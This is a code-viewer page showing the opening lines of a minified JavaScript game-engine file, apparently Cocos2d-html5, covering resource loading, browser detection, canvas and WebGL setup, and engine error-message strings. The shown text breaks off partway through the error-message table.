game.min.js 524 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068
  1. var b=b||{};b.B=b.B||{};b.e={};n=window;n=Object.prototype;delete window._p;b.Ob=function(a){return document.createElement(a)};b.Ja=function(a,c,d,e){a.addEventListener(c,d,e)};b.CK="undefined"!==typeof require&&require("fs");b.RM=function(a,c){if(a)if(a instanceof Array)for(var d=0,e=a.length;d<e&&!1!==c.call(void 0,a[d],d);d++);else for(d in a)if(!1===c.call(void 0,a[d],d))break};
  2. b.rF=function(a){if(!a)return b.log("invalid URL"),!1;var c=a.indexOf("://");if(-1==c)return!1;c=a.indexOf("/",c+3);return(-1==c?a:a.substring(0,c))!=location.origin};
  3. b.async={jJ:function(a){var c=this.xM;if(!c.JE){var d=c.length,e=c.SO,f=c.tO,g=f.cd,h=f.sM,k=f.DG,f=f.bka;if(a){if(c.JE=a,g)return g.call(h,a)}else{var m=Array.apply(null,arguments).slice(1),p=m.length;0==p?m=null:1==p&&(m=m[0]);e[this.index]=m;c.count--;k&&k.call(f,m,d-c.count,d);0==c.count&&g&&g.apply(h,[null,e])}}},YJ:function(){},iga:function(a,c,d){var e=b.async;if(void 0!==d)"function"==typeof c&&(c={DG:c}),c.cd=d||c.cd;else if(void 0!==c)"function"==typeof c&&(c={cd:c});else if(void 0!==a)c=
  4. {};else throw"arguments error!";var f=(d=a instanceof Array)?a.length:Object.keys(a).length;if(0==f)c.cd&&c.cd.call(c.sM,null);else{var g={length:f,count:f,tO:c,SO:d?[]:{}};b.RM(a,function(a,d){if(g.JE)return!1;var f=c.cd||c.DG?e.jJ.bind({xM:g,index:d}):e.YJ;a(f,d)})}},map:function(a,c,d){var e=this,f=arguments.length;"function"==typeof c&&(c={wF:c});if(3===f)c.cd=d||c.cd;else if(2>f)throw"arguments error!";"function"==typeof c&&(c={wF:c});if(void 0!==d)c.cd=d||c.cd;else if(void 0===a)throw"arguments error!";
  5. var g=(f=a instanceof Array)?a.length:Object.keys(a).length;if(0===g)c.cd&&c.cd.call(c.sM,null);else{var h={length:g,count:g,tO:c,SO:f?[]:{}};b.RM(a,function(a,d){if(h.JE)return!1;var f=c.cd?e.jJ.bind({xM:h,index:d}):e.YJ;c.wF.call(c.n1,a,d,f)})}}};
  6. b.path={join:function(){for(var a=arguments.length,c="",d=0;d<a;d++)c=(c+(""==c?"":"/")+arguments[d]).replace(/(\/|\\\\)$/,"");return c},Xk:function(a){return(a=/(\.[^\.\/\?\\]*)(\?.*)?$/.exec(a))?a[1]:null},rfa:function(a){if(a){var c=a.lastIndexOf(".");if(-1!==c)return a.substring(0,c)}return a},lZ:function(a,c){var d=a.indexOf("?");0<d&&(a=a.substring(0,d));d=/(\/|\\\\)([^(\/|\\\\)]+)$/g.exec(a.replace(/(\/|\\\\)$/,""));if(!d)return null;d=d[2];return c&&a.substring(a.length-c.length).toLowerCase()==
  7. c.toLowerCase()?d.substring(0,d.length-c.length):d},dirname:function(a){return a.replace(/((.*)(\/|\\|\\\\))?(.*?\..*$)?/,"$2")},tM:function(a,c){c=c||"";var d=a.indexOf("?"),e="";0<d&&(e=a.substring(d),a=a.substring(0,d));d=a.lastIndexOf(".");return 0>d?a+c+e:a.substring(0,d)+c+e},Po:function(a,c,d){if(0==c.indexOf("."))return this.tM(a,c);var e=a.indexOf("?"),f="";d=d?this.Xk(a):"";0<e&&(f=a.substring(e),a=a.substring(0,e));e=a.lastIndexOf("/");return a.substring(0,0>=e?0:e+1)+c+d+f}};
  8. b.V={IK:{},qw:{},NW:{},Il:{},ty:"",iZ:"",Zf:{},wx:function(){return window.XMLHttpRequest?new window.XMLHttpRequest:new ActiveXObject("MSXML2.XMLHTTP")},jK:function(a){var c=a[0],d=a[1],e=a[2],f=["",null,null];if(1===a.length)f[1]=c instanceof Array?c:[c];else if(2===a.length)"function"==typeof d?(f[1]=c instanceof Array?c:[c],f[2]=d):(f[0]=c||"",f[1]=d instanceof Array?d:[d]);else if(3===a.length)f[0]=c||"",f[1]=d instanceof Array?d:[d],f[2]=e;else throw"arguments error to load js!";return f},U1:function(a,
  9. c,d){var e=this,f=e.IK,g=e.jK(arguments);-1<navigator.userAgent.indexOf("Trident/5")?e.NK(g[0],g[1],0,g[2]):b.async.map(g[1],function(a,c,d){a=b.path.join(g[0],a);if(f[a])return d(null);e.kJ(a,!1,d)},g[2])},mO:function(a,c,d){var e=this.QW(),f=this.jK(arguments);this.U1(f[0],f[1],function(a){if(a)throw a;e.parentNode.removeChild(e);if(f[2])f[2]()})},kJ:function(a,c,d){var e=document,f=b.Ob("script");f.async=c;f.src=a;this.IK[a]=!0;b.Ja(f,"load",function(){this.removeEventListener("load",arguments.callee,
  10. !1);d()},!1);b.Ja(f,"error",function(){d("Load "+a+" failed!")},!1);e.body.appendChild(f)},NK:function(a,c,d,e){if(d>=c.length)e&&e();else{var f=this;f.kJ(b.path.join(a,c[d]),!1,function(g){if(g)return e(g);f.NK(a,c,d+1,e)})}},QW:function(){var a=document,c=a.getElementById("cocos2d_loadJsImg");if(!c){c=b.Ob("img");b.QK&&(c.src=b.QK);a=a.getElementById(b.Hc.Qe.id);a.style.backgroundColor="black";a.parentNode.appendChild(c);var d=getComputedStyle?getComputedStyle(a):a.currentStyle;d||(d={width:a.width,
  11. height:a.height});c.style.left=a.offsetLeft+(parseFloat(d.width)-c.width)/2+"px";c.style.top=a.offsetTop+(parseFloat(d.height)-c.height)/2+"px";c.style.position="absolute"}return c},ay:function(a,c){if(b.CK)require("fs").zga(a,function(a,d){a?c(a):c(null,d.toString())});else{var d=this.wx(),e="load "+a+" failed!";d.open("GET",a,!0);/msie/i.test(navigator.userAgent)&&!/opera/i.test(navigator.userAgent)?(d.setRequestHeader("Accept-Charset","utf-8"),d.onreadystatechange=function(){4==d.readyState&&200==
  12. d.status?c(null,d.responseText):c(e)}):(d.overrideMimeType&&d.overrideMimeType("text/plain; charset\x3dutf-8"),d.onload=function(){4==d.readyState&&200==d.status?c(null,d.responseText):c(e)});d.send(null)}},OK:function(a){if(b.CK)return require("fs").Aga(a).toString();var c=this.wx();c.open("GET",a,!1);/msie/i.test(navigator.userAgent)&&!/opera/i.test(navigator.userAgent)?c.setRequestHeader("Accept-Charset","utf-8"):c.overrideMimeType&&c.overrideMimeType("text/plain; charset\x3dutf-8");c.send(null);
  13. return 4==!c.readyState||200!=c.status?null:c.responseText},nO:function(a,c){this.ay(a,function(d,e){try{d?c(d):c(null,JSON.parse(e))}catch(f){throw"load json ["+a+"] failed : "+f;}})},fJ:function(a){return null!=/(\.png)|(\.jpg)|(\.bmp)|(\.jpeg)|(\.gif)/.exec(a)},ht:function(a,c,d){var e=!0;void 0!==d?e=null==c.rF?e:c.rF:void 0!==c&&(d=c);var f=new Image;e&&"file://"!=location.origin&&(f.crossOrigin="Anonymous");b.Ja(f,"load",function(){this.removeEventListener("load",arguments.callee,!1);this.removeEventListener("error",
  14. arguments.callee,!1);d&&d(null,f)});b.Ja(f,"error",function(){this.removeEventListener("error",arguments.callee,!1);d&&d("load image failed")});f.src=a;return f},RW:function(a,c,d){var e=this,f=null;(c=a.type)?(c="."+c.toLowerCase(),f=a.src?a.src:a.name+c):(f=a,c=b.path.Xk(f));var g=e.Zf[f];if(g)return d(null,g);g=e.qw[c.toLowerCase()];if(!g)return b.error("loader for ["+c+"] not exists!"),d();c=e.B0(g.nx?g.nx():e.ty,f);g.load(c,f,a,function(a,c){a?(b.log(a),e.Zf[f]=null,delete e.Zf[f],d()):(e.Zf[f]=
  15. c,d(null,c))})},B0:function(a,c){var d=this.NW,e=b.path;if(void 0!==a&&void 0===c){c=a;var f=e.Xk(c),f=f?f.toLowerCase():"";a=(f=this.qw[f])?f.nx?f.nx():this.ty:this.ty}c=b.path.join(a||"",c);if(c.match(/[\/(\\\\)]lang[\/(\\\\)]/i)){if(d[c])return d[c];e=e.Xk(c)||"";c=d[c]=c.substring(0,c.length-e.length)+"_"+b.ib.language+e}return c},load:function(a,c,d){if(void 0!==d)"function"==typeof c&&(c={DG:c});else if(void 0!==c)"function"==typeof c&&(d=c,c={});else if(void 0!==a)c={};else throw"arguments error!";
  16. c.cd=function(a,c){a&&b.log(a);d&&d(c)};a instanceof Array||(a=[a]);c.wF=this.RW;c.n1=this;b.async.map(a,c)},rK:function(a,c){var d=this.Il,e=[],f;for(f in a){var g=a[f];d[f]=g;e.push(g)}this.load(e,c)},nfa:function(a,c){var d=this,e=d.Gd(a);e?d.rK(e.filenames,c):d.load(a,function(a){d.rK(a[0].filenames,c)})},Kj:function(a,c){if(a&&c){if("string"==typeof a)return this.qw[a.trim().toLowerCase()]=c;for(var d=0,e=a.length;d<e;d++)this.qw["."+a[d].trim().toLowerCase()]=c}},Gd:function(a){return this.Zf[a]||
  17. this.Zf[this.Il[a]]},Ki:function(a){var c=this.Zf,d=this.Il;delete c[a];delete c[d[a]];delete d[a]},Jga:function(){var a=this.Zf,c=this.Il,d;for(d in a)delete a[d];for(d in c)delete c[d]}};
  18. (function(){function a(){b.sa&&b.Hc.tk&&b.sa.dispatchEvent(b.Hc.tk)}function c(){b.sa&&b.Hc.sk&&b.sa.dispatchEvent(b.Hc.sk)}var d=window,e,f;"undefined"!==typeof document.hidden?(e="hidden",f="visibilitychange"):"undefined"!==typeof document.mozHidden?(e="mozHidden",f="mozvisibilitychange"):"undefined"!==typeof document.msHidden?(e="msHidden",f="msvisibilitychange"):"undefined"!==typeof document.webkitHidden&&(e="webkitHidden",f="webkitvisibilitychange");e?b.Ja(document,f,function(){document[e]?c():
  19. a()},!1):(b.Ja(d,"blur",c,!1),b.Ja(d,"focus",a,!1));"onpageshow"in window&&"onpagehide"in window&&(b.Ja(d,"pagehide",c,!1),b.Ja(d,"pageshow",a,!1));f=d=null})();b.log=b.warn=b.error=b.assert=function(){};b.BM=function(a,c){for(var d=["webgl","experimental-webgl","webkit-3d","moz-webgl"],e=null,f=0;f<d.length;++f){try{e=a.getContext(d[f],c)}catch(g){}if(e)break}return e};
  20. b.yW=function(a,c){b.Ea=0;b.$=1;var d=b.ib={};d.ER="en";d.q6="zh";d.r6="fr";d.u6="it";d.s6="de";d.B6="es";d.A6="ru";d.w6="ko";d.v6="ja";d.t6="hu";d.z6="pt";d.p6="ar";d.x6="no";d.y6="pl";d.lS="Windows";d.sH="iOS";d.tH="OS X";d.jS="UNIX";d.iS="Linux";d.hS="Android";d.kS="Unknown";d.oQ="wechat";d.kQ="androidbrowser";d.Vy="ie";d.lQ="qqbrowser";d.RG="mqqbrowser";d.mQ="ucbrowser";d.y5="360browser";d.z5="baiduboxapp";d.QG="baidubrowser";d.A5="maxthon";d.Wy="opera";d.B5="miuibrowser";d.Tp="firefox";d.Xy=
  21. "safari";d.Uy="chrome";d.nQ="unknown";d.eda=!1;var e=[d.QG,d.Wy,d.Tp,d.Uy,d.Xy],f=[d.QG,d.Wy,d.Tp,d.Uy,d.Xy,d.mQ,d.lQ,d.RG,d.Vy],g=window,h=g.navigator,k=document.documentElement,m=h.userAgent.toLowerCase();d.Ci=-1!=m.indexOf("mobile")||-1!=m.indexOf("android");var p=h.language,p=(p=p?p:h.browserLanguage)?p.split("-")[0]:d.ER;d.language=p;var p=d.nQ,r=m.match(/micromessenger|qqbrowser|mqqbrowser|ucbrowser|360browser|baiduboxapp|baidubrowser|maxthon|trident|opera|miuibrowser|firefox/i)||m.match(/chrome|safari/i);
  22. r&&0<r.length&&(p=r[0].toLowerCase(),"micromessenger"==p?p=d.oQ:"safari"===p&&m.match(/android.*applewebkit/)?p=d.kQ:"trident"==p&&(p=d.Vy));d.zm=p;d.xY=-1<f.indexOf(d.zm);f=parseInt(a[c.sy]);p=b.$;r=b.Ob("Canvas");b.ms=!0;e=-1==e.indexOf(d.zm);if(1===f||0===f&&(d.Ci||e))p=b.Ea;p!=b.$||g.WebGLRenderingContext&&b.BM(r,{stencil:!0,preserveDrawingBuffer:!0})||(0==f?p=b.Ea:b.ms=!1);if(p==b.Ea)try{r.getContext("2d")}catch(s){b.ms=!1}b.A=p;try{d.Hw=!!new (g.AudioContext||g.webkitAudioContext||g.mozAudioContext)}catch(u){d.Hw=
  23. !1}try{var t=d.localStorage=g.localStorage;t.setItem("storage","");t.removeItem("storage");t=null}catch(v){"SECURITY_ERR"!==v.name&&"QuotaExceededError"!==v.name||b.warn("Warning: localStorage isn't enabled. Please confirm browser cookie or privacy option"),d.localStorage=function(){}}t=d.Js={canvas:!0};b.A==b.$&&(t.opengl=!0);void 0!==k.ontouchstart||h.msPointerEnabled?t.touches=!0:void 0!==k.onmouseup&&(t.mouse=!0);void 0!==k.onkeyup&&(t.keyboard=!0);if(g.DeviceMotionEvent||g.DeviceOrientationEvent)t.accelerometer=
  24. !0;g=m.match(/(iPad|iPhone|iPod)/i)?!0:!1;m=m.match(/android/i)||h.platform.match(/android/i)?!0:!1;k=d.kS;-1!=h.appVersion.indexOf("Win")?k=d.lS:g?k=d.sH:-1!=h.appVersion.indexOf("Mac")?k=d.tH:-1!=h.appVersion.indexOf("X11")?k=d.jS:-1!=h.appVersion.indexOf("Linux")?k=d.iS:m&&(k=d.hS);d.KF=k;d.U$=function(){};d.T9=function(){};d.dha=function(){};d.R9=function(){var a;a=""+("isMobile : "+this.Ci+"\r\n");a+="language : "+this.language+"\r\n";a+="browserType : "+this.zm+"\r\n";a+="capabilities : "+JSON.stringify(this.Js)+
  25. "\r\n";a+="os : "+this.KF+"\r\n";b.log(a)}};b.N6=0;b.O6=1;b.L6=2;b.M6=3;b.Ee=null;b.k=null;b.Za=null;b.GV=null;b.rw=!1;b.GL=!1;
  26. b.FL=function(a){var c,d;if(!b.GL){b.GL=!0;var e=window;e.WF=e.requestAnimationFrame||e.webkitRequestAnimationFrame||e.mozRequestAnimationFrame||e.oRequestAnimationFrame||e.msRequestAnimationFrame;var f=b.wb(a)||b.wb("#"+a),g;"CANVAS"==f.tagName?(c=c||f.width,d=d||f.height,g=b.Bm=b.Ob("DIV"),a=b.Za=f,a.parentNode.insertBefore(g,a),a.kM(g),g.setAttribute("id","Cocos2dGameContainer")):("DIV"!=f.tagName&&b.log("Warning: target element is not a DIV or CANVAS"),c=c||f.clientWidth,d=d||f.clientHeight,g=
  27. b.Bm=f,a=b.Za=b.wb(b.Ob("CANVAS")),f.appendChild(a));a.hM("gameCanvas");a.setAttribute("width",c||480);a.setAttribute("height",d||320);a.setAttribute("tabindex",99);a.style.outline="none";f=g.style;f.width=(c||480)+"px";f.height=(d||320)+"px";f.margin="0 auto";f.position="relative";f.overflow="hidden";g.top="100%";b.A==b.$&&(b.k=b.nka=b.BM(a,{stencil:!0,preserveDrawingBuffer:!0,antialias:!b.ib.Ci,alpha:!1}));b.k?(e.gl=b.k,b.Ee=new b.TQ(b.k),b.rw=!0,b.Da.EW(),b.Ld.Dr()):(b.k=a.getContext("2d"),b.TW=
  28. b.k,b.k.translate(0,a.height),b.Ee=b.aH?new b.aH(b.k):null);b.GV=g;b.log(b.gz);b.OX();b.ib.Ci&&(c=b.Ob("style"),c.type="text/css",document.body.appendChild(c),c.textContent="body,canvas,div{ -moz-user-select: none;-webkit-user-select: none;-ms-user-select: none;-khtml-user-select: none;-webkit-tap-highlight-color:rgba(0,0,0,0);}");b.view=b.ez.HB();b.VN.F2(b.Za);b.D=b.Xa.HB();b.D.jG&&b.D.jG(b.view);b.Vt=b.D.R;b.mha=new b.Fu;b.s2=new b.xS}};
  29. b.fB=function(){if(b.A!==b.$)throw"This feature supports WebGL render mode only.";};b.BK=!1;b.OX=function(){b.BK=!1;b.Za.oncontextmenu=function(){if(!b.BK)return!1}};
  30. b.Hc={UG:0,IQ:1,N5:2,HQ:3,$y:4,VG:5,TG:6,cu:"game_on_hide",Yp:"game_on_show",sk:null,tk:null,k8:[],bh:{IE:"engineDir",D9:"dependencies",Ns:"debugMode",f4:"showFPS",kx:"frameRate",id:"id",sy:"renderMode",o1:"jsList",tZ:"classReleaseMode"},cL:!1,DC:!1,lc:!0,VB:null,Qe:null,JF:null,Mfa:null,Zha:function(a){this.Qe[this.bh.kx]=a;this.VB&&clearInterval(this.VB);this.lc=!0;this.UC()},UC:function(){var a=this,c,d=a.Qe,e=a.bh,f=window,g=d[e.kx],h=b.D;h.n3(d[e.f4]);f.WF&&60==g?(c=function(){a.lc||(h.oO(),
  31. f.WF(c))},f.WF(c)):(c=function(){h.oO()},a.VB=setInterval(c,1E3/g));a.lc=!1},X2:function(a){function c(){a&&(d.Qe[d.bh.id]=a);d.cL?b.ms&&(d.aV=setInterval(function(){d.DC&&(b.FL(d.Qe[d.bh.id]),d.UC(),d.sk=d.sk||new b.Oi(d.cu),d.sk.setUserData(d),d.tk=d.tk||new b.Oi(d.Yp),d.tk.setUserData(d),d.JF(),clearInterval(d.aV))},10)):d.w2(function(){b.ms&&(b.FL(d.Qe[d.bh.id]),d.UC(),d.sk=d.sk||new b.Oi(d.cu),d.sk.setUserData(d),d.tk=d.tk||new b.Oi(d.Yp),d.tk.setUserData(d),d.JF())})}var d=this;document.body?
  32. c():b.Ja(window,"load",function(){this.removeEventListener("load",arguments.callee,!1);c()},!1)},uW:function(){function a(a){a[c.IE]=a[c.IE]||"frameworks/cocos2d-html5";null==a[c.Ns]&&(a[c.Ns]=0);a[c.kx]=a[c.kx]||60;null==a[c.sy]&&(a[c.sy]=1);return a}var c=this.bh;if(document.ccConfig)this.Qe=a(document.ccConfig);else try{for(var d=document.getElementsByTagName("script"),e=0;e<d.length;e++){var f=d[e].getAttribute("cocos");if(""==f||f)break}var g,h,k;if(e<d.length){if(g=d[e].src)k=/(.*)\//.exec(g)[0],
  33. b.V.ty=k,g=b.path.join(k,"project.json");h=b.V.OK(g)}h||(h=b.V.OK("project.json"));var m=JSON.parse(h);this.Qe=a(m||{})}catch(p){b.log("Failed to read or parse project.json"),this.Qe=a({})}b.yW(this.Qe,c)},LW:{},lK:function(a,c,d){var e=this.LW;if(e[c])return null;d=d||"";var f=[],g=a[c];if(!g)throw"can not find module ["+c+"]";c=b.path;for(var h=0,k=g.length;h<k;h++){var m=g[h];if(!e[m]){var p=c.Xk(m);p?".js"==p.toLowerCase()&&f.push(c.join(d,m)):(p=this.lK(a,m,d))&&(f=f.concat(p));e[m]=1}}return f},
  34. w2:function(a){var c=this,d=c.Qe,e=c.bh,f=d[e.IE],g=b.V;if(b.ms){c.cL=!0;var h=d[e.o1]||[];b.ja?g.mO("",h,function(d){if(d)throw d;c.DC=!0;a&&a()}):(e=b.path.join(f,"moduleConfig.json"),g.nO(e,function(e,g){if(e)throw e;var p=d.modules||[],r=g.module,s=[];b.A==b.$?p.splice(0,0,"shaders"):0>p.indexOf("core")&&p.splice(0,0,"core");for(var u=0,t=p.length;u<t;u++){var v=c.lK(r,p[u],f);v&&(s=s.concat(v))}s=s.concat(h);b.V.mO(s,function(d){if(d)throw d;c.DC=!0;a&&a()})}))}else b.error("Can not support render!")}};
  35. b.Hc.uW();b.e={KG:"cc.ActionManager.addAction(): action must be non-null",gQ:"cocos2d: removeAction: Target not found",l5:"cc.ActionManager.removeActionByTag(): an invalid tag",m5:"cc.ActionManager.removeActionByTag(): target must be non-null",eQ:"cc.ActionManager.getActionByTag(): an invalid tag",fQ:"cocos2d : getActionByTag(tag \x3d %s): Action not found",yZ:"cocos2d: **** WARNING **** CC_ENABLE_PROFILERS is defined. Disable it when you finish profiling (from ccConfig.js)",zZ:"Expected 'data' dict, but not found. Config file: %s",
  36. AZ:"Please load the resource first : %s",OQ:"cocos2d: Director: Error in gettimeofday",PQ:"cocos2d: Director: unrecognized projection",Y5:"cocos2d: Director: unrecognized projection",NQ:"cocos2d: Director: Error in gettimeofday",MQ:"running scene should not null",$G:"the scene should not null",Mo:"element type is wrong!",US:"CCSheduler#scheduleCallback. Callback already scheduled. Updating interval from:%s to %s",VS:"cc.scheduler.scheduleCallbackForTarget(): callback_fn should be non-null.",WS:"cc.scheduler.scheduleCallbackForTarget(): target should be non-null.",
  37. SS:"cc.Scheduler.pauseTarget():target should be non-null",TS:"cc.Scheduler.resumeTarget():target should be non-null",RS:"cc.Scheduler.isTargetPaused():target should be non-null",UR:"getZOrder is deprecated. Please use getLocalZOrder instead.",eS:"setZOrder is deprecated. Please use setLocalZOrder instead.",SR:"RotationX !\x3d RotationY. Don't know which one to return",TR:"ScaleX !\x3d ScaleY. Don't know which one to return",OR:"An Node can't be added as a child of itself.",PR:"child already added. It can't be added again",
  38. QR:"child must be non-null",ZR:"removeFromParentAndCleanup is deprecated. Use removeFromParent instead",XR:"argument tag is an invalid tag",YR:"cocos2d: removeChildByTag(tag \x3d %s): child not found!",WR:"removeAllChildrenWithCleanup is deprecated. Use removeAllChildren instead",fS:"cc.Node.stopActionBy(): argument tag an invalid tag",RR:"cc.Node.getActionByTag(): argument tag is an invalid tag",aS:"resumeSchedulerAndActions is deprecated, please use resume instead.",VR:"pauseSchedulerAndActions is deprecated, please use pause instead.",
  39. NR:"Unknown callback function",$R:"child must be non-null",bS:"cc.Node.runAction(): action must be non-null",cS:"callback function must be non-null",dS:"interval must be positive",F6:"cocos2d: Could not initialize cc.AtlasNode. Invalid Texture.",iQ:"cc.AtlasNode.updateAtlasValues(): Shall be overridden in subclasses",v5:"",MG:"cocos2d: Could not initialize cc.AtlasNode. Invalid Texture.",xU:"cc._EventListenerKeyboard.checkAvailable(): Invalid EventListenerKeyboard!",zU:"cc._EventListenerTouchOneByOne.checkAvailable(): Invalid EventListenerTouchOneByOne!",
  40. yU:"cc._EventListenerTouchAllAtOnce.checkAvailable(): Invalid EventListenerTouchAllAtOnce!",wU:"cc._EventListenerAcceleration.checkAvailable(): _onAccelerationEvent must be non-nil",aR:"Invalid parameter.",Xu:"Don't call this method if the event is for touch.",i_:"Invalid scene graph priority!",j_:"0 priority is forbidden for fixed priority since it's used for scene graph based priority.",n_:"Invalid listener type!",o_:"Can't set fixed priority with scene graph based listener.",k_:"Invalid parameters.",
  41. l_:"listener must be a cc.EventListener object when adding a fixed priority listener",m_:"The listener has been registered, please don't register it again.",HR:"parameters should not be ending with null in Javascript",IR:"Invalid index in MultiplexLayer switchTo message",JR:"Invalid index in MultiplexLayer switchTo message",GR:"cc.Layer.addLayer(): layer should be non-null",UQ:"Resolution not valid",VQ:"should set resolutionPolicy",b1:"The touches is more than MAX_TOUCHES, nUnusedIndex \x3d %s",IP:"cc.swap is being modified from original macro, please check usage",
  42. Ro:"WebGL error %s",XY:"cocos2d: cc.AnimationCache: No animations were found in provided dictionary.",YY:"cc.AnimationCache. Invalid animation format",eZ:"cc.AnimationCache.addAnimations(): File could not be found",ZY:"cocos2d: cc.AnimationCache: Animation '%s' found in dictionary without any frames - cannot add to animation cache.",$Y:"cocos2d: cc.AnimationCache: Animation '%s' refers to frame '%s' which is not currently in the cc.SpriteFrameCache. This frame will not be added to the animation.",
  43. aZ:"cocos2d: cc.AnimationCache: None of the frames for animation '%s' were found in the cc.SpriteFrameCache. Animation is not being added to the Animation Cache.",bZ:"cocos2d: cc.AnimationCache: An animation in your dictionary refers to a frame which is not in the cc.SpriteFrameCache. Some or all of the frames for the animation '%s' may be missing.",cZ:"cocos2d: CCAnimationCache: Animation '%s' found in dictionary without any frames - cannot add to animation cache.",dZ:"cocos2d: cc.AnimationCache: Animation '%s' refers to frame '%s' which is not currently in the cc.SpriteFrameCache. This frame will not be added to the animation.",
  44. fZ:"cc.AnimationCache.addAnimations(): Invalid texture file name",sT:"cc.Sprite.reorderChild(): this child is not in children list",kT:"cc.Sprite.ignoreAnchorPointForPosition(): it is invalid in cc.Sprite when using SpriteBatchNode",vT:"cc.Sprite.setDisplayFrameWithAnimationName(): Frame not found",wT:"cc.Sprite.setDisplayFrameWithAnimationName(): Invalid frame index",uT:"setDisplayFrame is deprecated, please use setSpriteFrame instead.",dT:"cc.Sprite._updateBlendFunc(): _updateBlendFunc doesn't work when the sprite is rendered using a cc.CCSpriteBatchNode",
  45. mT:"cc.Sprite.initWithSpriteFrame(): spriteFrame should be non-null",nT:"cc.Sprite.initWithSpriteFrameName(): spriteFrameName should be non-null",oT:" is null, please check.",lT:"cc.Sprite.initWithFile(): filename should be non-null",xT:"cc.Sprite.setDisplayFrameWithAnimationName(): animationName must be non-null",tT:"cc.Sprite.reorderChild(): child should be non-null",eT:"cc.Sprite.addChild(): cc.Sprite only supports cc.Sprites as children when using cc.SpriteBatchNode",fT:"cc.Sprite.addChild(): cc.Sprite only supports a sprite using same texture as children when using cc.SpriteBatchNode",
  46. gT:"cc.Sprite.addChild(): child should be non-null",zT:"cc.Sprite.texture setter: Batched sprites should use the same texture as the batchnode",b7:"cc.SpriteBatchNode.updateQuadFromSprite(): cc.SpriteBatchNode only supports cc.Sprites as children",qT:"cc.SpriteBatchNode.insertQuadFromSprite(): cc.SpriteBatchNode only supports cc.Sprites as children",hT:"cc.SpriteBatchNode.addChild(): cc.SpriteBatchNode only supports cc.Sprites as children",iT:"cc.SpriteBatchNode.addChild(): cc.Sprite is not using the same texture",
  47. pT:"Sprite.initWithTexture(): Argument must be non-nil ",yT:"Invalid spriteFrameName",AT:"Invalid argument: cc.Sprite.texture setter expects a CCTexture2D.",c7:"cc.SpriteBatchNode.updateQuadFromSprite(): sprite should be non-null",rT:"cc.SpriteBatchNode.insertQuadFromSprite(): sprite should be non-null",jT:"cc.SpriteBatchNode.addChild(): child should be non-null",XS:"cc.SpriteBatchNode.addQuadFromSprite(): SpriteBatchNode only supports cc.Sprites as children",ZS:"cocos2d: CCSpriteBatchNode: resizing TextureAtlas capacity from %s to %s.",
  48. $S:"cocos2d: WARNING: Not enough memory to resize the atlas",bT:"cc.SpriteBatchNode.addChild(): Child doesn't belong to Sprite",aT:"cc.SpriteBatchNode.addChild(): sprite batch node should contain the child",YS:"cc.SpriteBatchNode.addQuadFromSprite(): child should be non-null",cT:"cc.SpriteBatchNode.addChild():child should be non-null",j4:"cocos2d: WARNING: originalWidth/Height not found on the cc.SpriteFrame. AnchorPoint won't work as expected. Regenrate the .plist",l4:"cocos2d: WARNING: an alias with name %s already exists",
  49. i4:"cocos2d: WARNING: Sprite frame: %s has already been added by another source, please fix name conflit",o4:"cocos2d: cc.SpriteFrameCahce: Frame %s not found",k4:"Please load the resource first : %s",m4:"cc.SpriteFrameCache.addSpriteFrames(): plist should be non-null",n4:"Argument must be non-nil",Zy:"cc.SpriteBatchNode.updateQuadFromSprite(): cc.SpriteBatchNode only supports cc.Sprites as children",xQ:"cc.SpriteBatchNode.insertQuadFromSprite(): cc.SpriteBatchNode only supports cc.Sprites as children",
  50. tQ:"cc.SpriteBatchNode.addChild(): cc.SpriteBatchNode only supports cc.Sprites as children",wQ:"Sprite.initWithTexture(): Argument must be non-nil ",uQ:"cc.Sprite.addChild(): child should be non-null",zQ:"Invalid spriteFrameName",AQ:"Invalid argument: cc.Sprite texture setter expects a CCTexture2D.",BQ:"cc.SpriteBatchNode.updateQuadFromSprite(): sprite should be non-null",yQ:"cc.SpriteBatchNode.insertQuadFromSprite(): sprite should be non-null",vQ:"cc.SpriteBatchNode.addChild(): child should be non-null",
  51. VT:"cocos2d: Could not open file: %s",dI:"cc.TextureAtlas.insertQuad(): invalid totalQuads",WT:"cc.TextureAtlas.initWithTexture():texture should be non-null",fU:"cc.TextureAtlas.updateQuad(): quad should be non-null",gU:"cc.TextureAtlas.updateQuad(): Invalid index",ZT:"cc.TextureAtlas.insertQuad(): Invalid index",$T:"cc.TextureAtlas.insertQuad(): Invalid index + amount",XT:"cc.TextureAtlas.insertQuadFromIndex(): Invalid newIndex",YT:"cc.TextureAtlas.insertQuadFromIndex(): Invalid fromIndex",dU:"cc.TextureAtlas.removeQuadAtIndex(): Invalid index",
